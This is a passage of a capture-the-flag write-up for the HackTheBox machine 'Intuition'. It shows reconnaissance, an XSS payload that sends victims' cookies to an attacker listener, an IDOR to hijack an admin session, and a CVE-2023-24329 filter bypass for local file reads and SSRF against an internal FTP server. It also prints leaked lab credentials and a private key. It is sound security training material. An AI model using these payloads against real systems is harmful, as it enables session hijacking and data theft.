Intuition – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Summary Link to heading
Intuition
is a Hard box from HackTheBox
platform. After an initial inspect of the main webpage from the victim machine, we are able to find some subdomains. One of these domains has a formulary vulnerable to Cross-Site Scripting
(XSS
). Which allows us to gain access to a dev panel. Inside this dev panel, we are able to get an admin cookie session thanks to an IDOR
vulnerability. Once inside an admin panel, we are able to generate PDF
reports. But this service is vulnerable to CVE-2023-24329, which allow us to read files in the system. Thanks to this we are able to read files in an internal FTP
service an gain initial access to the target machine. Once inside the machine, we are able to leak some credentials from SQLite
files, that leaks a new access to new files within FTP
service. Among these files, we are able to find an authorization code. We then are able to read some log files that leaks the password of a new user. This new user can run a script with sudo
. After some reverse engineering, we are able to inject code to this file and gain access as root
user.
User Link to heading
Starting with Nmap
scan, it only shows 2 ports open: 22
SSH
and 80
HTTP
.
❯ sudo nmap -sVC -p22,80 10.10.11.15 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 13:57 -04
Nmap scan report for 10.10.11.15
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds
I note from the scan that the site http://10.10.11.15
redirects to http://comprezzor.htb
. So we add it to our /etc/hosts
file running:
❯ echo '10.10.11.15 comprezzor.htb' | sudo tee -a /etc/hosts
Once added, we visit http://comprezor.htb
and we can see the following site:
The site presents a tool that can be used to compress files. We can upload .txt
, .pdf
, and .docx
files. I attempt uploading some files with payloads, but did not work.
I will then start looking for subdomains with ffuf
, running:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -fs 178 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 159ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 242ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 155ms]
:: Progress: [4989/4989] :: Job [1/1] :: 343 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
and we got three subdomains: auth
, report
and dashboard
.
I add these new domains to my /etc/hosts
file. So now it looks like:
❯ tail -n1 /etc/hosts
10.10.11.15 comprezzor.htb auth.comprezzor.htb report.comprezzor.htb dashboard.comprezzor.htb
Once added these new subdomains, I visiting http://report.comprezzor.htb
shows something. We can see a site where we can report bugs:
Clicking on Report a Bug
redirects us to http://auth.comprezzor.htb/login
.
Since I don’t have credentials and default credentials (such as admin:admin
, guest:guest
, root:root
, etc) don’t work I will create/register a new account. Once registered, I log in into the panel and, once logged, it redirects to http://report.comprezzor.htb
(where I can also see the text Logged in succesfully!
). Now, if I click on Report a Bug
we can see the following panel:
To see if we can inject something in this submission form, I will start Burpsuite
and intercept the submission form request. When we send the submission form request and it gets intercepted, we have a POST
request like the following:
POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1
report_title=title&description=test
where we can see 2 parameters: report_title
and description
. To play with these parameters I will send it to Burpsuite
Repeater
.
After some injections, the following Cross Site Scripting
(XSS
) injection works in the description
parameter:
<script>document.location="http://10.10.16.6:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
where 10.10.16.6
is my attacker IP and 8000
is a port I am currently listening with netcat
. We can see more Cross Site Scripting
(XSS
) payloads at PayloadAllTheThings
from their repository.
Therefore, the POST
request sent through Burpsuite
looks like:
POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1
report_title=test&description=<script>document.location%3d"http%3a//10.10.16.6%3a8000/xss-76.js%3fcookie%3d"%2bbtoa(document.cookie)%3b</script>
and in my netcat
listener I get:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 60714
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Decoding the base64
message, we have:
❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA==' | base64 -d
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
We have a cookie.
I also note from the request obtained with netcat
that the Referer
is http://dashboard.comprezzor.htb/
. However, visiting this page redirects to http://auth.comprezzor.htb/login
(the login panel we have visited previously). In my Firefox
browser, if I check the Storage
(press Ctrl+Shift+I
) I can see that we have a cookie named user_data
which is the same name from the cookie we have obtained from XSS
. Therefore, I replace the value of user_data
cookie with the new value found and re-visit http://dashboard.comprezzor.htb
. Now we can see a kind of a Dashboard - webdev
:
At the left side we can click on the report IDs 1
, 2
, 3
and so on. When we click on it we can see a report like, for example:
I note that, when I upload a report at http://report.comprezzor.htb/report_bug
with the obtained cookie we are uploading reports as adam
user; since if I refresh the page we now have:
I note that all the reports have a Priority
parameter. As can be seen in the image that shows a report, we can set the priority to Low
or High
clicking on that option. I assume that High
priorities have a special treatment and, therefore, are reviewed by a more important user than adam
. I send a new report as adam
with the name test2
and the XSS
payload previously used. If I re-check the webpage my payload is there:
Now, the problem is that, when I click on 25
(the report ID that contains my malicious XSS
payload) it executes the payload. Since I want to change the priority of my malicious payload from 0
(Low
) to 1
(High
) I will open another already created report, click on Set High Priority
and intercept that with Burpsuite
. The POST
request sent is:
POST /change_priority?report_id=3&priority_level=1 HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://dashboard.comprezzor.htb
DNT: 1
Connection: close
Referer: http://dashboard.comprezzor.htb/report/3
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4==
Upgrade-Insecure-Requests: 1
Here I will modify the POST
parameter through an IDOR
from the url /change_priority?report_id=3&priority_level=1
to /change_priority?report_id=25&priority_level=1
, where we are modifying the report with ID 3
, to report_id=25
since report 25
is the report with the malicious XSS
payload. After modifying and sending it, and after setting again a listener on port 8000
with netcat
, I get another cookie:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 36514
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Decoding it we now have the cookie:
❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ==' | base64 -d
user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
I then replace the cookie from http://dashboard.comprezzor.htb/
with this new value, refresh the page and we are in the dashboard as admin
user:
There, we can see a Create PDF Report
. Clicking on it, it has a field that asks for a PDF
url. However, I decide to put my url (and, again, after setting a listener with netcat
on port 8000
):
and in my listener I get something:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 42234
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
Here we can see the User-Agent
is Python-urllib/3.11
. Searching for vulnerabilities for this version we find CVE-2023-24329 described as:
Python
before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.Basically, in the url field parameter, we can supply the payload:
file:///etc/passwd
Note that before the string file
we have an empty space (
) that allows us to bypass the filters, as the vulnerability describes.
This generates a PDF
report that contains:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-
timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi:x:105:110:Avahi mDNS
daemon,,,:/run/avahi-daemon:/usr/sbin/nologin geoclue:x:106:111::/var/lib/geoclue:/usr/sbin/nologin
so we have reached a Local File Inclusion
(LFI
).
But we still need paths to read files. We can check running processes reading /proc/self/cmdline
, or the payload:
file:///proc/self/cmdline
(Do not forget the space before the payload)
Once uploaded we automatically download a PDF
with the process:
python3/app/code/app.py
where we find a Python
app running called /app/code/app.py
.
We then inject the payload
file:///app/code/app.py
we now get:
from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt',
'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)
And reordering it, we have the Python
code:
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)
where we have a potential password: 7ASS7ADA8RF3FD7
.
I also note that it is importing the non-standard library blueprints
. Searching for this library it seems to be a library for Flask
(that makes sense with the name file app.py
). As explained in this StackOverflow post and Blueprints documentation, we expect blueprints
library to be located at the current directory for app.py
, inside the directory /blueprints
. Therefore I try to read the file /app/code/blueprints/auth/auth.py
and get the code:
from flask import Flask, Blueprint, request, render_template, redirect, url_for, flash, make_response
from .auth_utils import *
from werkzeug.security import check_password_hash
app = Flask(__name__)
auth_bp = Blueprint('auth', __name__, subdomain='auth')
@auth_bp.route('/')
def index():
return redirect(url_for('auth.login'))
@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)
if (user is None) or not check_password_hash(user[2], password):
flash('Invalid username or password', 'error')
return redirect(url_for('auth.login'))
serialized_user_data = serialize_user_data(user[0], user[1], user[3])
flash('Logged in successfully!', 'success')
response = make_response(redirect(get_redirect_url(user[3])))
response.set_cookie('user_data', serialized_user_data, domain='.comprezzor.htb')
return response
return render_template('auth/login.html')
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)
if user is not None:
flash('User already exists', 'error')
return redirect(url_for('auth.register'))
if create_user(username, password):
flash('Registration successful! You can now log in.', 'success')
return redirect(url_for('auth.login'))
else:
flash('Unexpected error occurred while trying to register!', 'error')
return render_template('auth/register.html')
@auth_bp.route('/logout')
def logout():
pass
where we can see that it is the code for the checking login for http://auth.comprezzor.htb
I am also able to find the files /app/code/blueprints/report/report.py
and /app/code/blueprints/index/index.py
, but they are not interesting for the moment.
But the most interesting file is /app/code/blueprints/dashboard/dashboard.py
, since if we check it, we have the code:
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime
dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']
@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()
return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)
@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template('dashboard/report.html', report=report, user_info=user_info)
else:
pass
@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))
else:
pass
@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))
if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] != ('webdev' or 'admin'):
flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
return redirect(url_for('dashboard.dashboard'))
report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))
if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_path
if request.method == 'POST':
report_url = request.form.get('report_url')
try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
try:
dissallowed_schemas = ["file", "ftp", "ftps"]
if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
print(scheme)
urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'})
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
except:
flash('Unexpected error!', 'error')
return render_template('dashboard/create_pdf_report.html')
else:
flash('Invalid URL', 'error')
return render_template('dashboard/create_pdf_report.html')
except Exception as e:
raise e
else:
return render_template('dashboard/create_pdf_report.html')
@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'
with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except Exception as e:
flash(f'Error: {str(e)}', 'error')
return redirect(url_for('dashboard.dashboard'))
where I can see a user and a password: ftp_admin:u3jai8y71s2
.
So I assume that File Transfer Protocol
(FTP
) is running internally in the machine. We can then attempt a Server-Side Request Forgery
(SSRF
) with the payload:
ftp://ftp_admin:u3jai8y71s2@ftp.local
and we get the output:
-rw------- 1 root root 2655 May 27 20:05 private-8297.key
-rw-r--r-- 1 root root 15519 May 27 20:05 welcome_note.pdf
-rw-r--r-- 1 root root 1732 May 27 20:05 welcome_note.txt
where we have a file welcome_note.txt
and a private key called private-8297.key
.
We then read this file with the payload:
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
we have:
Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam
We find a passphrase to log in via SSH
: Y27SH19HDIWD
If now I check the file private-8297.key
with the payload:
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
we have the key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
